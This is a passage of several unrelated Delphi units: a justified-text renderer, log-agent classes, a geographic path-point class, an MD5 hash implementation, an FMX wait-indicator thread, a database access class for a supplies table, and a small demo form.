Line.FIsSingleWord and JustifySingleWords then begin BreakChar := ZeroWidthSpace; LineText := Line.WordWithZeroWidthSpaces; end else begin LineText := Line.Text; // If it's not a single line we need to justify, and then ask the line if it needs to be justified // (this is either a normal line, or a trailing line when justify trailing lines is turned on.) // If possible, draw normally and exit early if not Line.Justify then begin TextOut(Canvas.Handle, X, Y, PChar(LineText), Length(LineText)); Exit; end; end; BreakSize := Canvas.TextWidth(BreakChar); OrigRounding := System.Math.GetRoundMode; try System.Math.SetRoundMode(rmNearest); // You can change this, but nearest (default rounding) looks best to me Words := SplitString(LineText, BreakChar); if Length(Words) <= 1 then begin TextOut(Canvas.Handle, X, Y, PChar(LineText), Length(LineText)); end else begin BreakAddition := SpaceToFill / Pred(Length(Words)); // Amount to add to each space/breakchar BreakAdditionInt := Round(BreakAddition); BreakFraction := (BreakAddition - BreakAdditionInt); AmountOff := 0; CurrentX := 0; for Index := Low(Words) to High(Words) do begin TextOut(Canvas.Handle, CurrentX, Y, PChar(Words[Index]), Length(Words[Index])); CurrentX := CurrentX + Canvas.TextWidth(Words[Index]); Space := BreakSize + BreakAdditionInt; // How far off where this should be is it? AmountOff := AmountOff + BreakFraction; // Maybe some of this can be added to the space for the next word AmountOffInt := Round(AmountOff); Space := Space + AmountOffInt; // Adjust for how much this changed the amount off (may have gone too far, eg if rounded up) AmountOff := AmountOff - AmountOffInt; // Finally, shift by the width (space is the break char width plus adjustment amount) CurrentX := CurrentX + Space; end; end; finally SetLength(Words, 0); System.Math.SetRoundMode(OrigRounding); end; end; procedure SplitLines(const Canvas : TCanvas; const Text : string; const Rect : TRect; const JustifyTrailingLines : Boolean; var Lines : TList<TLine>); var LineText, RemainingText : string; Params : TDrawTextParams; LineRect : TRect; BreakChar : Char; IsTrailingLine : Boolean; begin // Usually space, but depends on the font - see // http://msdn.microsoft.com/en-us/library/windows/desktop/dd145094(v=vs.85).aspx BreakChar := GetBreakChar(Canvas, nil); Params.cbSize := SizeOf(Params); Params.iTabLength := 8; Params.iLeftMargin := 0; Params.iRightMargin := 0; Params.uiLengthDrawn := 0; // Figure out how much of the text can be drawn as a single line, and the size in pixels it takes // to do so (drawing normally, ie left-aligned.) Repeat in sections until the string is fully // split. This gives each line, and the width of each line to add to the spaces in the line to // justify (that is, is the destination rect width minus how long the line would normally take up.) RemainingText := Text; while Length(RemainingText) > 0 do begin // So it can only fit a single line (don't use DT_SINGLELINE for this purpose - it draws the // whole thing, and doesn't break paragraphs) LineRect := Rect; LineRect.Height := 1; // Params.uiLengthDrawn is the number of characters it drew DrawTextEx(Canvas.Handle, PChar(RemainingText), Length(RemainingText), LineRect, DT_TOP or DT_LEFT or DT_WORDBREAK, @Params); // Justify all lines bar the last ones in a pragraph, unless JustifyTrailingLines = true in // which case just justify everything. LineText := Copy(RemainingText, 1, Params.uiLengthDrawn); // It's a trailing line if there's #13#10 (etc) at the end, or if it's the last line of the text // (ok to test that with length of line and remaining, not equality.) IsTrailingLine := EndsWithLineBreaks(LineText) or (Length(LineText) = Length(RemainingText)); // Trim trailing spaces to the right of the text, because the width returned doesn't count // these and if they're left in the text, the justification breaks because space is added to them LineText := TrimRight(LineText); // Add this line. Justify unless it is a trailing line, or it is and have to justify everything // Use TextWidth to know how wide it is without justification (or could redraw a second time // using DT_CALCRECT, cannot modify LineRect in the call asking for the number of characters // and get the expected results. Interestingly TextWidth gives better results, DrawText can be // off by up to 2 pixels.) Lines.Add(TLine.Create(LineText, Canvas.TextWidth(LineText), BreakChar, IsTrailingLine, (not IsTrailingLine) or JustifyTrailingLines)); // Update the remaining text for the next loop iteration RemainingText := Copy(RemainingText, Params.uiLengthDrawn+1, Length(RemainingText)); end; end; procedure DrawLines(const Canvas : TCanvas; var Rect : TRect; const Lines : TList<TLine>; const MeasureOnly : Boolean; const ForceManual : Boolean; const JustifySingleWords : Boolean); var LineHeight, Index : Integer; SupportsJustification : Boolean; BreakChar : Char; OrigBrushStyle : TBrushStyle; begin LineHeight := Canvas.TextHeight('X'); // See GetBreakChar - sometimes a font doesn't correctly specify the character it uses to separate // words. Segoe UI does this. In this case, GetBreakChar returns ' ' (space) but SetTextJustification // doesn't work, so have to use a manual method BreakChar := GetBreakChar(Canvas, @SupportsJustification); OrigBrushStyle := Canvas.Brush.Style; try // Don't let characters overlay other characters, eg when spacing out a single word Canvas.Brush.Style := bsClear; // Like DrawTextEx, can update the rect. Otherwise draw each line if MeasureOnly then Rect.Bottom := Rect.Top + Lines.Count * LineHeight else begin if SupportsJustification and not ForceManual then begin try for Index := 0 to Pred(Lines.Count) do begin // Use normal justification, but if it's a single word and need to justify single words // then for this line only, use the alternative method if Lines[Index].FIsSingleWord and JustifySingleWords then begin // Ignore .Justify, only aware of trailing line justification SetTextJustification(Canvas.Handle, 0, 0); ManualJustifyTextOut(Canvas, Rect.Left, Rect.Top + Index * LineHeight, Lines[Index], Rect.Width - Lines[Index].FLengthPx, BreakChar, JustifySingleWords); end else begin if Lines[Index].Justify then SetTextJustification(Canvas.Handle, Rect.Width - Lines[Index].FLengthPx, Lines[Index].NumBreakChars) else SetTextJustification(Canvas.Handle, 0, 0); // TextOut uses the spacing set by SetTextJustification TextOut(Canvas.Handle, Rect.Left, Rect.Top + Index * LineHeight, PChar(Lines[Index].Text), Length(Lines[Index].Text)); end; end; finally SetTextJustification(Canvas.Handle, 0, 0); end; end else begin // Font doesn't support justification (or ForceManual is true) - use a homebrewed method for Index := 0 to Pred(Lines.Count) do begin ManualJustifyTextOut(Canvas, Rect.Left, Rect.Top + Index * LineHeight, Lines[Index], Rect.Width - Lines[Index].FLengthPx, BreakChar, JustifySingleWords); end; end; end; finally Canvas.Brush.Style := OrigBrushStyle; end; end; procedure DrawTextJustified(const Canvas : TCanvas; const Text : string; var Rect : TRect; const Options : TDrawTextJustifiedOptions); //const JustifyTrailingLines : Boolean; const MeasureOnly : Boolean; const ForceManual : Boolean); var Lines : TList<TLine>; begin // To draw justified text, need to split into lines, each one of which can be drawn justified // SplitLines is paragraph-aware and tags the trailing lines of each paragraph, if JustifyTrailingLines // is false. Lines := TList<TLine>.Create; try SplitLines(Canvas, Text, Rect, (tjJustifyTrailingLines in Options), Lines); DrawLines(Canvas, Rect, Lines, (tjMeasureOnly in Options), (tjForceManual in Options), (tjJustifySingleWords in Options)); finally Lines.Free; end; end; end.
unit RDOLogAgents; interface uses Classes, RDOInterfaces, Kernel, World; type TLogAgentRec = record ClassName : string; Agent : ILogAgent; end; PLogAgentArray = ^TLogAgentArray; TLogAgentArray = array[0..0] of TLogAgentRec; TLogAgents = class(TInterfacedObject, ILogAgents) public constructor Create; destructor Destroy; override; private fAgents : PLogAgentArray; fMethods : TStringList; fCount : integer; private function LogableMethod(aMethod : string) : boolean; function GetLogAgentById(Id : string) : ILogAgent; function GetLogAgentByClass(aClass : TClass) : ILogAgent; procedure RegisterMethods(Names : array of string); procedure RegisterAgent(aClassName : string; anAgent : ILogAgent); end; TLogAgent = class(TInterfacedObject, ILogAgent) public constructor Create(anId : string; aWorld : TWorld; aLogEvent : TLogQueryEvent); private fId : string; fWorld : TWorld; fOnLog : TLogQueryEvent; private function GetId : string; function GetLogId(Obj : TObject) : string; virtual; abstract; function GetObject(ObjId : string) : TObject; virtual; abstract; procedure LogQuery(Query : string); end; // TWorldLogAgent // TFacilityLogAgent // TBlockLogAgent // TInputLogAgent // TOutputLogAgent // .. ?? implementation // TLogAgents constructor TLogAgents.Create; begin inherited; fMethods := TStringList.Create; fMethods.Sorted := true; fMethods.Duplicates := dupIgnore; end; destructor TLogAgents.Destroy; begin if fAgents <> nil then begin Finalize(fAgents[0], fCount); ReallocMem(fAgents, 0); end; fMethods.Free; inherited; end; function TLogAgents.LogableMethod(aMethod : string) : boolean; begin result := fMethods.IndexOf(aMethod) <> -1; end; function TLogAgents.GetLogAgentById(Id : string) : ILogAgent; var i : integer; begin i := 0; while (i < fCount) and (fAgents[i].Agent.GetId <> Id) do inc(i); if i < fCount then result := fAgents[i].Agent else result := nil; end; function TLogAgents.GetLogAgentByClass(aClass : TClass) : ILogAgent; function FindAgent(name : string; Agent : ILogAgent) : boolean; var i : integer; begin i := 0; while (i < fCount) and (fAgents[i].ClassName <> name) do inc(i); result := i < fCount; if result then Agent := fAgents[i].Agent else Agent := nil; end; var Cls : TClass; begin if not FindAgent(aClass.ClassName, result) then begin Cls := aClass.ClassParent; while (Cls <> nil) and FindAgent(Cls.ClassName, result) do Cls := aClass.ClassParent; RegisterAgent(aClass.ClassName, result); end; end; procedure TLogAgents.RegisterMethods(Names : array of string); var i : integer; begin for i := low(Names) to high(Names) do fMethods.Add(Names[i]); end; procedure TLogAgents.RegisterAgent(aClassName : string; anAgent : ILogAgent); begin inc(fCount); ReallocMem(fAgents, fCount*sizeof(fAgents[0])); with fAgents[fCount - 1] do begin ClassName := aClassName; Agent := anAgent; end; end; // TLogAgent constructor TLogAgent.Create(anId : string; aWorld : TWorld; aLogEvent : TLogQueryEvent); begin inherited Create; fId := anId; fWorld := aworld; fOnLog := aLogEvent; end; function TLogAgent.GetId : string; begin result := fId; end; procedure TLogAgent.LogQuery(Query : string); begin if Assigned(fOnLog) then fOnlog(Query); end; end.
unit DirectionPathPointUnit; interface uses REST.Json.Types, System.Generics.Collections, Generics.Defaults, JSONNullableAttributeUnit, NullableBasicTypesUnit; type /// <summary> /// Path - an array of the geographic points, which are laying on a path /// </summary> /// <remarks> /// https://github.com/route4me/json-schemas/blob/master/Path.dtd /// </remarks> TDirectionPathPoint = class strict private [JSONName('lat')] [Nullable] FLatitude: NullableDouble; [JSONName('lng')] [Nullable] FLongitude: NullableDouble; public /// <remarks> /// Constructor with 0-arguments must be and be public. /// For JSON-deserialization. /// </remarks> constructor Create; overload; constructor Create(Latitude, Longitude: double); reintroduce; overload; function Equals(Obj: TObject): Boolean; override; /// <summary> /// Latitude /// </summary> property Latitude: NullableDouble read FLatitude write FLatitude; /// <summary> /// Longitude /// </summary> property Longitude: NullableDouble read FLongitude write FLongitude; end; TDirectionPathPointArray = TArray<TDirectionPathPoint>; TDirectionPathPointList = TList<TDirectionPathPoint>; function SortDirectionPathPoints(DirectionPathPoints: TDirectionPathPointArray): TDirectionPathPointArray; implementation function SortDirectionPathPoints(DirectionPathPoints: TDirectionPathPointArray): TDirectionPathPointArray; begin SetLength(Result, Length(DirectionPathPoints)); if Length(DirectionPathPoints) = 0 then Exit; TArray.Copy<TDirectionPathPoint>(DirectionPathPoints, Result, Length(DirectionPathPoints)); TArray.Sort<TDirectionPathPoint>(Result, TComparer<TDirectionPathPoint>.Construct( function (const Direction1, Direction2: TDirectionPathPoint): Integer begin Result := Direction1.Latitude.Compare(Direction2.Latitude); if (Result = 0) then Result := Direction1.Longitude.Compare(Direction2.Longitude); end)); end; { TDirectionPathPoint } constructor TDirectionPathPoint.Create; begin inherited; FLatitude := NullableDouble.Null; FLongitude := NullableDouble.Null; end; constructor TDirectionPathPoint.Create(Latitude, Longitude: double); begin FLatitude := Latitude; FLongitude := Longitude; end; function TDirectionPathPoint.Equals(Obj: TObject): Boolean; var Other: TDirectionPathPoint; begin Result := False; if not (Obj is TDirectionPathPoint) then Exit; Other := TDirectionPathPoint(Obj); Result := (FLatitude = Other.FLatitude) and (FLongitude = Other.FLongitude); end; end.
unit MD5; interface Uses Classes, SysUtils; { TLbMD5 } type TMD5Digest = array [0..15] of Byte; { 128 bits - MD5 } TLMDContext = array [0..279] of Byte; { LockBox message digest } TMD5Context = array [0..87] of Byte; { MD5 } pMD5ContextEx = ^TMD5ContextEx; TMD5ContextEx = packed record Count : array [0..1] of Cardinal; {number of bits handled mod 2^64} State : array [0..3] of Cardinal; {scratch buffer} Buf : array [0..63] of Byte; {input buffer} end; TLBBase = class(TComponent) end; { TLbBaseComponent } TLBBaseComponent = class(TLBBase) protected {private} function GetVersion : string; procedure SetVersion(const Value : string); published {properties} property Version : string read GetVersion write SetVersion stored False; end; { TLbHash } TLbHash = class(TLbBaseComponent) protected {private} FBuf : array[0..1023] of Byte; public {methods} constructor Create(AOwner : TComponent); override; destructor Destroy; override; procedure HashBuffer(const Buf; BufSize : Cardinal); virtual; abstract; procedure HashFile(const AFileName : string); virtual; abstract; procedure HashStream(AStream: TStream); virtual; abstract; procedure HashString(const AStr : string); virtual; abstract; end; TLbMD5 = class(TLbHash) protected {private} FDigest : TMD5Digest; public {methods} constructor Create(AOwner : TComponent); override; destructor Destroy; override; procedure GetDigest(var Digest : TMD5Digest); procedure HashBuffer (const Buf; BufSize : Cardinal); override; procedure HashFile (const AFileName : String); override; procedure HashStream (AStream: TStream); override; procedure HashString (const AStr : String); override; end; implementation Const sLbVersion = '2.07'; function RolX(I, C : Cardinal) : Cardinal; register; asm mov ecx, edx {get count to cl} rol eax, cl {rotate eax by cl} end; procedure Transform(var Buffer : array of Cardinal; const InBuf : array of Cardinal); const S11 = 7; S12 = 12; S13 = 17; S14 = 22; S21 = 5; S22 = 9; S23 = 14; S24 = 20; S31 = 4; S32 = 11; S33 = 16; S34 = 23; S41 = 6; S42 = 10; S43 = 15; S44 = 21; var Buf : array [0..3] of Cardinal; {!!.01} InA : array [0..15] of Cardinal; {!!.01} var A : Cardinal; B : Cardinal; C : Cardinal; D : Cardinal; procedure FF(var A : Cardinal; B, C, D, X, S, AC : Cardinal); begin A := RolX(A + ((B and C) or (not B and D)) + X + AC, S) + B; end; procedure GG(var A : Cardinal; B, C, D, X, S, AC : Cardinal); begin A := RolX(A + ((B and D) or (C and not D)) + X + AC, S) + B; end; procedure HH(var A : Cardinal; B, C, D, X, S, AC : Cardinal); begin A := RolX(A + (B xor C xor D) + X + AC, S) + B; end; procedure II(var A : Cardinal; B, C, D, X, S, AC : Cardinal); begin A := RolX(A + (C xor (B or not D)) + X + AC, S) + B; end; begin Move(Buffer, Buf, SizeOf(Buf)); {!!.01} Move(InBuf, InA, SizeOf(InA)); {!!.01} A := Buf [0]; B := Buf [1]; C := Buf [2]; D := Buf [3]; {round 1} FF(A, B, C, D, InA [ 0], S11, $D76AA478); { 1 } FF(D, A, B, C, InA [ 1], S12, $E8C7B756); { 2 } FF(C, D, A, B, InA [ 2], S13, $242070DB); { 3 } FF(B, C, D, A, InA [ 3], S14, $C1BDCEEE); { 4 } FF(A, B, C, D, InA [ 4], S11, $F57C0FAF); { 5 } FF(D, A, B, C, InA [ 5], S12, $4787C62A); { 6 } FF(C, D, A, B, InA [ 6], S13, $A8304613); { 7 } FF(B, C, D, A, InA [ 7], S14, $FD469501); { 8 } FF(A, B, C, D, InA [ 8], S11, $698098D8); { 9 } FF(D, A, B, C, InA [ 9], S12, $8B44F7AF); { 10 } FF(C, D, A, B, InA [10], S13, $FFFF5BB1); { 11 } FF(B, C, D, A, InA [11], S14, $895CD7BE); { 12 } FF(A, B, C, D, InA [12], S11, $6B901122); { 13 } FF(D, A, B, C, InA [13], S12, $FD987193); { 14 } FF(C, D, A, B, InA [14], S13, $A679438E); { 15 } FF(B, C, D, A, InA [15], S14, $49B40821); { 16 } {round 2} GG(A, B, C, D, InA [ 1], S21, $F61E2562); { 17 } GG(D, A, B, C, InA [ 6], S22, $C040B340); { 18 } GG(C, D, A, B, InA [11], S23, $265E5A51); { 19 } GG(B, C, D, A, InA [ 0], S24, $E9B6C7AA); { 20 } GG(A, B, C, D, InA [ 5], S21, $D62F105D); { 21 } GG(D, A, B, C, InA [10], S22, $02441453); { 22 } GG(C, D, A, B, InA [15], S23, $D8A1E681); { 23 } GG(B, C, D, A, InA [ 4], S24, $E7D3FBC8); { 24 } GG(A, B, C, D, InA [ 9], S21, $21E1CDE6); { 25 } GG(D, A, B, C, InA [14], S22, $C33707D6); { 26 } GG(C, D, A, B, InA [ 3], S23, $F4D50D87); { 27 } GG(B, C, D, A, InA [ 8], S24, $455A14ED); { 28 } GG(A, B, C, D, InA [13], S21, $A9E3E905); { 29 } GG(D, A, B, C, InA [ 2], S22, $FCEFA3F8); { 30 } GG(C, D, A, B, InA [ 7], S23, $676F02D9); { 31 } GG(B, C, D, A, InA [12], S24, $8D2A4C8A); { 32 } {round 3} HH(A, B, C, D, InA [ 5], S31, $FFFA3942); { 33 } HH(D, A, B, C, InA [ 8], S32, $8771F681); { 34 } HH(C, D, A, B, InA [11], S33, $6D9D6122); { 35 } HH(B, C, D, A, InA [14], S34, $FDE5380C); { 36 } HH(A, B, C, D, InA [ 1], S31, $A4BEEA44); { 37 } HH(D, A, B, C, InA [ 4], S32, $4BDECFA9); { 38 } HH(C, D, A, B, InA [ 7], S33, $F6BB4B60); { 39 } HH(B, C, D, A, InA [10], S34, $BEBFBC70); { 40 } HH(A, B, C, D, InA [13], S31, $289B7EC6); { 41 } HH(D, A, B, C, InA [ 0], S32, $EAA127FA); { 42 } HH(C, D, A, B, InA [ 3], S33, $D4EF3085); { 43 } HH(B, C, D, A, InA [ 6], S34, $4881D05); { 44 } HH(A, B, C, D, InA [ 9], S31, $D9D4D039); { 45 } HH(D, A, B, C, InA [12], S32, $E6DB99E5); { 46 } HH(C, D, A, B, InA [15], S33, $1FA27CF8); { 47 } HH(B, C, D, A, InA [ 2], S34, $C4AC5665); { 48 } {round 4} II(A, B, C, D, InA [ 0], S41, $F4292244); { 49 } II(D, A, B, C, InA [ 7], S42, $432AFF97); { 50 } II(C, D, A, B, InA [14], S43, $AB9423A7); { 51 } II(B, C, D, A, InA [ 5], S44, $FC93A039); { 52 } II(A, B, C, D, InA [12], S41, $655B59C3); { 53 } II(D, A, B, C, InA [ 3], S42, $8F0CCC92); { 54 } II(C, D, A, B, InA [10], S43, $FFEFF47D); { 55 } II(B, C, D, A, InA [ 1], S44, $85845DD1); { 56 } II(A, B, C, D, InA [ 8], S41, $6FA87E4F); { 57 } II(D, A, B, C, InA [15], S42, $FE2CE6E0); { 58 } II(C, D, A, B, InA [ 6], S43, $A3014314); { 59 } II(B, C, D, A, InA [13], S44, $4E0811A1); { 60 } II(A, B, C, D, InA [ 4], S41, $F7537E82); { 61 } II(D, A, B, C, InA [11], S42, $BD3AF235); { 62 } II(C, D, A, B, InA [ 2], S43, $2AD7D2BB); { 63 } II(B, C, D, A, InA [ 9], S44, $EB86D391); { 64 } Inc(Buf [0], A); Inc(Buf [1], B); Inc(Buf [2], C); Inc(Buf [3], D); Move(Buf, Buffer, SizeOf(Buffer)); {!!.01} end; { -------------------------------------------------------------------------- } procedure InitMD5(var Context : TMD5Context); var MD5 : TMD5ContextEx; {!!.01} begin Move(Context, MD5, SizeOf(MD5)); {!!.01} MD5.Count[0] := 0; MD5.Count[1] := 0; {load magic initialization constants} MD5.State[0] := $67452301; MD5.State[1] := $EFCDAB89; MD5.State[2] := $98BADCFE; MD5.State[3] := $10325476; Move(MD5, Context, SizeOf(Context)); {!!.01} end; { -------------------------------------------------------------------------- } procedure UpdateMD5(var Context : TMD5Context; const Buf; BufSize : LongInt); var MD5 : TMD5ContextEx; InBuf : array [0..15] of Cardinal; BufOfs : LongInt; MDI : Word; I : Word; II : Word; begin Move(Context, MD5, SizeOf(MD5)); {!!.01} {compute number of bytes mod 64} MDI := (MD5.Count[0] shr 3) and $3F; {update number of bits} if ((MD5.Count[0] + (Cardinal(BufSize) shl 3)) < MD5.Count[0]) then Inc(MD5.Count[1]); Inc(MD5.Count[0], BufSize shl 3); Inc(MD5.Count[1], BufSize shr 29); {add new byte acters to buffer} BufOfs := 0; while (BufSize > 0) do begin Dec(BufSize); MD5.Buf[MDI] := TByteArray(Buf)[BufOfs]; {!!.01} Inc(MDI); Inc(BufOfs); if (MDI = $40) then begin II := 0; for I := 0 to 15 do begin InBuf[I] := LongInt(MD5.Buf[II + 3]) shl 24 or LongInt(MD5.Buf[II + 2]) shl 16 or LongInt(MD5.Buf[II + 1]) shl 8 or LongInt(MD5.Buf[II]); Inc(II, 4); end; Transform(MD5.State, InBuf); Transform(TMD5ContextEx( Context ).State, InBuf); MDI := 0; end; end; Move(MD5, Context, SizeOf(Context)); {!!.01} end; { -------------------------------------------------------------------------- } procedure FinalizeMD5(var Context : TMD5Context; var Digest : TMD5Digest); const Padding: array [0..63] of Byte = ( $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00); var MD5 : TMD5ContextEx; InBuf : array [0..15] of Cardinal; MDI : LongInt; I : Word; II : Word; PadLen : Word; begin Move(Context, MD5, SizeOf(MD5)); {!!.01} {save number of bits} InBuf[14] := MD5.Count[0]; InBuf[15] := MD5.Count[1]; {compute number of bytes mod 64} MDI := (MD5.Count[0] shr 3) and $3F; {pad out to 56 mod 64} if (MDI < 56) then PadLen := 56 - MDI else PadLen := 120 - MDI; UpdateMD5(Context, Padding, PadLen); Move(Context, MD5, SizeOf(MD5)); {!!.01} {append length in bits and transform} II := 0; for I := 0 to 13 do begin InBuf[I] := ( LongInt( MD5.Buf[ II + 3 ]) shl 24 ) or ( LongInt( MD5.Buf[ II + 2 ]) shl 16 ) or ( LongInt( MD5.Buf[ II + 1 ]) shl 8 ) or LongInt( MD5.Buf[ II ]); Inc(II, 4); end; Transform(MD5.State, InBuf); {store buffer in digest} II := 0; for I := 0 to 3 do begin Digest[II] := Byte(MD5.State[I] and $FF); Digest[II + 1] := Byte((MD5.State[I] shr 8) and $FF); Digest[II + 2] := Byte((MD5.State[I] shr 16) and $FF); Digest[II + 3] := Byte((MD5.State[I] shr 24) and $FF); Inc(II, 4); end; Move(MD5, Context, SizeOf(Context)); {!!.01} end; { -------------------------------------------------------------------------- } procedure HashMD5(var Digest : TMD5Digest; const Buf; BufSize : LongInt); var Context : TMD5Context; begin fillchar( context, SizeOf( context ), $00 ); InitMD5(Context); UpdateMD5(Context, Buf, BufSize); FinalizeMD5(Context, Digest); end; procedure StringHashMD5(var Digest : TMD5Digest; const Str : string); begin HashMD5(Digest, Str[1], Length(Str)); end; { == TLbMD5 ================================================================ } constructor TLbMD5.Create(AOwner : TComponent); begin inherited Create(AOwner); end; { -------------------------------------------------------------------------- } destructor TLbMD5.Destroy; begin inherited Destroy; end; { -------------------------------------------------------------------------- } procedure TLbMD5.GetDigest(var Digest : TMD5Digest); begin Move(FDigest, Digest, SizeOf(Digest)); end; { -------------------------------------------------------------------------- } procedure TLbMD5.HashBuffer(const Buf; BufSize : Cardinal); begin HashMD5(FDigest, Buf, BufSize); end; { -------------------------------------------------------------------------- } procedure TLbMD5.HashFile(const AFileName : String); var FS : TFileStream; begin FS := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyNone); try HashStream(FS); finally FS.Free; end; end; { -------------------------------------------------------------------------- } procedure TLbMD5.HashStream(AStream: TStream); var Context : TMD5Context; BufSize : Integer; begin InitMD5(Context); BufSize := AStream.Read(FBuf, SizeOf(FBuf)); while (BufSize > 0) do begin UpdateMD5(Context, FBuf, BufSize); BufSize := AStream.Read(FBuf, SizeOf(FBuf)); end; FinalizeMD5(Context, FDigest); end; { -------------------------------------------------------------------------- } procedure TLbMD5.HashString(const AStr : string); begin StringHashMD5(FDigest, AStr); end; { == TLbHash =============================================================== } constructor TLbHash.Create(AOwner : TComponent); begin inherited Create(AOwner); end; { -------------------------------------------------------------------------- } destructor TLbHash.Destroy; begin inherited Destroy; end; { == TLbBaseComponent ====================================================== } function TLBBaseComponent.GetVersion : string; begin Result := sLbVersion; end; { -------------------------------------------------------------------------- } procedure TLBBaseComponent.SetVersion(const Value : string); begin { nop } end; end.
unit ControleEspera; interface uses System.Classes, FMX.StdCtrls, FMX.Objects, FMX.Filter.Effects, FMX.Types, FMX.Graphics, FMX.Forms, System.SysUtils, System.UITypes; type TControleEspera = class(TThread) private FProc: TProc; FParent : TFmxObject; FAniIndicator: TAniIndicator; FRecWait: TRectangle; procedure DoCriarAguarde; procedure DoIniciarAguarde; procedure DoFinalizarAguarde; procedure DoDestruirAguarde; protected procedure Execute; override; public constructor Create(const pParent : TFmxObject; const AProc: TProc); destructor Destroy; override; class function CreateAnonymousThread(const pParent : TFmxObject; const ThreadProc: TProc): TControleEspera; static; end; implementation { TControleEspera } constructor TControleEspera.Create(const pParent: TFmxObject; const AProc: TProc); begin inherited Create(True); FParent := pParent; FProc := AProc; FreeOnTerminate := True; end; class function TControleEspera.CreateAnonymousThread(const pParent : TFmxObject; const ThreadProc: TProc): TControleEspera; begin Result := TControleEspera.Create(pParent, ThreadProc); end; destructor TControleEspera.Destroy; begin DoDestruirAguarde; inherited; end; procedure TControleEspera.DoCriarAguarde; begin TThread.Synchronize(nil, procedure begin FRecWait := TRectangle.Create(nil); FRecWait.Align := TAlignLayout.Contents; FRecWait.Fill.Kind := TBrushKind.None; FRecWait.Fill.Color := TAlphaColorRec.pink; FRecWait.Stroke.Thickness := 0; FRecWait.Visible := False; FRecWait.Parent := FParent; FAniIndicator := TAniIndicator.Create(FRecWait); FAniIndicator.Align := TAlignLayout.Center; FAniIndicator.Size.Width := 80; FAniIndicator.Size.Height := 80; FAniIndicator.Parent := FRecWait; end); end; procedure TControleEspera.DoDestruirAguarde; begin TThread.Synchronize(nil, procedure begin if FAniIndicator <> nil then FreeAndNil(FAniIndicator); if FRecWait <> nil then FreeAndNil(FRecWait); end); end; procedure TControleEspera.DoFinalizarAguarde; begin TThread.Synchronize(nil, procedure begin FRecWait.Visible := False; FAniIndicator.Enabled := False; end); end; procedure TControleEspera.DoIniciarAguarde; begin TThread.Synchronize(nil, procedure begin FRecWait.Visible := True; FAniIndicator.Enabled := True; end); end; procedure TControleEspera.Execute; begin DoCriarAguarde; try DoIniciarAguarde; FProc(); DoFinalizarAguarde; finally DoDestruirAguarde; end; end; end.
unit DAO.InsumosTransportes; interface uses DAO.base, Model.InsumosTransportes, Generics.Collections, System.Classes; type TInsumosTransportesDAO = class(TDAO) public function Insert(aInsumos: Model.InsumosTransportes.TInsumosTransportes): Boolean; function Update(aInsumos: Model.InsumosTransportes.TInsumosTransportes): Boolean; function Delete(sFiltro: String): Boolean; function FindInsumo(sFiltro: String): TObjectList<Model.InsumosTransportes.TInsumosTransportes>; end; CONST TABLENAME = 'tbinsumostransportes'; implementation uses System.SysUtils, FireDAC.Comp.Client, Data.DB; function TInsumosTransportesDAO.Insert(aInsumos: TInsumosTransportes): Boolean; var sSQL: String; begin Result := False; aInsumos.ID := GetKeyValue(TABLENAME, 'ID_INSUMO'); sSQL := 'INSERT INTO ' + TABLENAME + ' ' + '(ID_INSUMO, DES_INSUMO, DES_UNIDADE, DES_LOG) ' + 'VALUES ' + '(:ID, :DESCRICAO, :UNIDADE, :LOG);'; Connection.ExecSQL(sSQL,[aInsumos.ID, aInsumos.Descricao, aInsumos.Unidade, aInsumos.Log],[ftInteger, ftString, ftString, ftString]); Result := True; end; function TInsumosTransportesDAO.Update(aInsumos: TInsumosTransportes): Boolean; var sSQL: String; begin Result := False; sSQL := 'UPDATE ' + TABLENAME + ' ' + 'SET ' + 'DES_INSUMO = :DESCRICAO, DES_UNIDADE = :UNIDADE, DES_LOG = :LOG WHERE ID_INSUMO = :ID;'; Connection.ExecSQL(sSQL,[aInsumos.Descricao, aInsumos.Unidade, aInsumos.Log, aInsumos.ID],[ftString, ftString, ftString, ftInteger]); Result := True; end; function TInsumosTransportesDAO.Delete(sFiltro: string): Boolean; var sSQL : String; begin Result := False; sSQL := 'DELETE FROM ' + TABLENAME + ' '; if not sFiltro.IsEmpty then begin sSQl := sSQL + sFiltro; end else begin Exit; end; Result := True; end; function TInsumosTransportesDAO.FindInsumo(sFiltro: string): TObjectList<TInsumosTransportes>; var FDQuery: TFDQuery; Extratos: TObjectList<TInsumosTransportes>; begin FDQuery := TFDQuery.Create(nil); try FDQuery.Connection := Connection; FDQuery.SQL.Clear; FDQuery.SQL.Add('SELECT * FROM ' + TABLENAME); if not sFiltro.IsEmpty then begin FDQuery.SQL.Add(sFiltro); end; FDQuery.Open(); Extratos := TObjectList<TInsumosTransportes>.Create(); while not FDQuery.Eof do begin Extratos.Add(TInsumosTransportes.Create(FDQuery.FieldByName('ID_INSUMO').AsInteger, FDQuery.FieldByName('DES_INSUMO').AsString, FDQuery.FieldByName('DES_UNIDADE').AsString, FDQuery.FieldByName('DES_LOG').AsString)); FDQuery.Next; end; finally FDQuery.Free; end; Result := Extratos; end; end.
unit FormFProp; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) btnCreateForm: TButton; procedure FormClick(Sender: TObject); procedure btnCreateFormClick(Sender: TObject); private FClicks: Integer; procedure SetClicks(const Value: Integer); { Private declarations } public property Clicks: Integer read FClicks write SetClicks; end; var Form1: TForm1; implementation {$R *.DFM} { TForm1 } procedure TForm1.SetClicks(const Value: Integer); begin FClicks := Value; end; procedure TForm1.FormClick(Sender: TObject); begin Inc (FClicks); Caption := 'Clicks: ' + IntToStr (FClicks); end; procedure TForm1.btnCreateFormClick(Sender: TObject); begin with TForm1.Create (Self) do Show; end; end.
